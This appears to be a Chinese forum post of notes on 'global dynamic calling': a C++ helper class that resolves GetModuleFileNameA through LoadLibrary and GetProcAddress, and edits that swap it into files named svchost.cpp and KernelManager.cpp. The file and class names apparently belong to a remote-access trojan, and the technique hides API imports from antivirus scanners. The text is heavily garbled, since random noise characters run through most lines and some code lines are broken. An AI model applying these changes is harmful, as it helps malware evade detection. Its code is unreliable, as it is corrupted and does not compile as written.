[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记' v4 b( B4 S0 W7 D3 p) G' V& U
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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  L. s$ B9 A/ ?) jDTDY.h：
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" L4 j+ Q" F$ ]9 U% d#if _MSC_VER>1000" @4 N6 M% l, V* @: l5 w+ g: ?5 e
#pragma once
; V! v2 D' R* \& e& H9 H#endif //_MSC_VER>1000; j: ~/ e& [# R! a' ~- ^( q& D
#include<windows.h>* F, \4 _) N- v+ O" ^
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
( Q* h1 ?/ Q( u" i' o7 z7 nclass DTDY1 K  {* |  E6 k3 H- d4 E0 j
{
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: ^' w% x9 ^9 Z8 K% L3 f3 sDTDY();" t3 B9 L3 J+ K% b
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;6 O( ~( T1 k! }5 o8 I
static BOOL FunInitiallization();, p& L& O+ w, Q1 ?
};' e* h+ Y8 i! Z6 D0 Q
#endif
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1 l2 O9 E! K* @! PDTDY.cpp:$ p& N4 a" i) t1 a  \3 q
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#include "DTDY.h"
3 m9 J; I5 w6 o' U* R# e- ^pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ W  j7 d. y& q1 a; F5 K- `5 hDTDY:TDY()
8 P- j9 S6 ^  W4 L( O{
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DTDY::~DTDY()
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}
) a$ c  h  W1 C% l7 U8 xBOOL DTDY::FunInitiallization()
- o- N/ g* C' `{
9 G9 f; K# H) u9 {: L; kHMODULE hModule=LoadLibrary("kernel32.dll");( c( F$ ]) f$ G* _* Z: _& a
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");+ v7 _, f0 a8 g
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"# J; z$ Z) C% N  K$ X8 [$ k8 C

- g' u. o- s: u+ GBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)9 O: L6 i6 N' b3 w5 B5 d) M
{
5 w4 g0 G$ _) X# N; b" P2 Cswitch(ul_reason_for_call)
5 p: Q" B* T/ Y6 ]) [4 f8 g{
# ~% R# R5 e+ Ncase DLL_PROCESS_ATTACH:
4 G+ o2 \! G) T% o1 I$ `- h: _if(!DTDY::FunInitiallization()) return FALSE;% H$ B" h1 u* b" {

# X  @# O9 c- F* D  d& ?' Sbreak;
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2 j6 S; U  e8 W/ H( [0 q  qGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def4 b) |9 B/ u0 ?* B: W2 T
改写为
  Y: z6 v) Z% }2 F3 [' kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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. [% B2 N+ p' j1 b. m. Y9 y. UKernelManager.cpp:
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#include "../DTDY.h"& r' k% z4 X( d
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! I' u0 k# }- F5 Z& U改写为0 L1 P  g, h) M2 g9 i
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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